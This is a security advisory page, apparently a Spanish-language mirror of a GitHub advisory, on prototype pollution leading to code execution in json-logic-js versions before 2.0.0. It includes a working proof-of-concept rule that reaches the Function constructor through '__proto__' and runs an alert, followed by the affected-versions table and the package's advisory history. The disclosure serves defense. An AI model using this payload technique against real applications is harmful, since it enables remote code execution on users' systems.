Prototype Pollution in json-logic-js
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | json-logic-js | < 2.0.0 | 2.0.0 |
Referencias
- Debilidad (CWE)
CWE-471- Plataforma
- npm
- Paquete
json-logic-js- Publicada
- 12.11.2020
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-m9hw-7xfv-wqg7 - CC BY 4.0
Historial de vulnerabilidades: json-logic-js
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 11.2020 03.2023
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 1
Divulgaciones por año
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 0
-
Prototype Pollution in json-logic-js esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.